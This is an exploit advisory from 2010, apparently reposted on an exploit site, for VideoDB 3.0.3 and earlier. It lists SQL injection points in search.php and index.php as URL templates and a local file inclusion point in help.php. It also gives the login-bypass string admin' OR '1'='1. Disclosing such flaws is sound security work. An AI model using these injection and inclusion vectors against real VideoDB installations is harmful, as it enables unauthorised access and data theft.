VideoDB <= 3.0.3 Multiple Remote Vulnerabilities

================================================
VideoDB <= 3.0.3 Multiple Remote Vulnerabilities
================================================

# Exploit Title: VideoDB Multiple Vulnerabilities
# Date: 09.10.2010
# Author: Valentin
# Category: webapps/0day
# Version: 3.0.3 and earlier
 
# Tested on:
# CVE : 
# Code :
 
 
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information
Advisory/Exploit Title = VideoDB Multiple Vulnerabilities
Author = Valentin Hoebel
Contact = [email protected]
 
 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = VideoDB
Vendor = Andreas Götz
Vendor Website = http://www.videodb.net
Affected Version(s) = 3.0.3 and earlier
 
  
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> 1 - SQL Injection / Possible Auth Bypass
The VideoDB is affected by multiple SQL Injection vulnerabilities.
 
a) The search script search.php
search.php?q=test&engine=videodb&owner=Guest&fields[]=[SQL Injection]
 
b) The login script login.php
Trigger SQL errors with the user name field or try admin' OR '1'='1 as user name.
Hint: "Normal" auth bypass is not possible.
 
c) The index.php script
index.php?filter=new&quicksearch=test&owner=%3Cany%3E&mediafilter=[SQL Injection]&submit.x=0&submit.y=0
 
 
>> 2 - Local File Inclusion
help.php?page=[LFI]
Hint: Effective local file inclusion can be tricky.



#  0day.today [2018-02-15]  #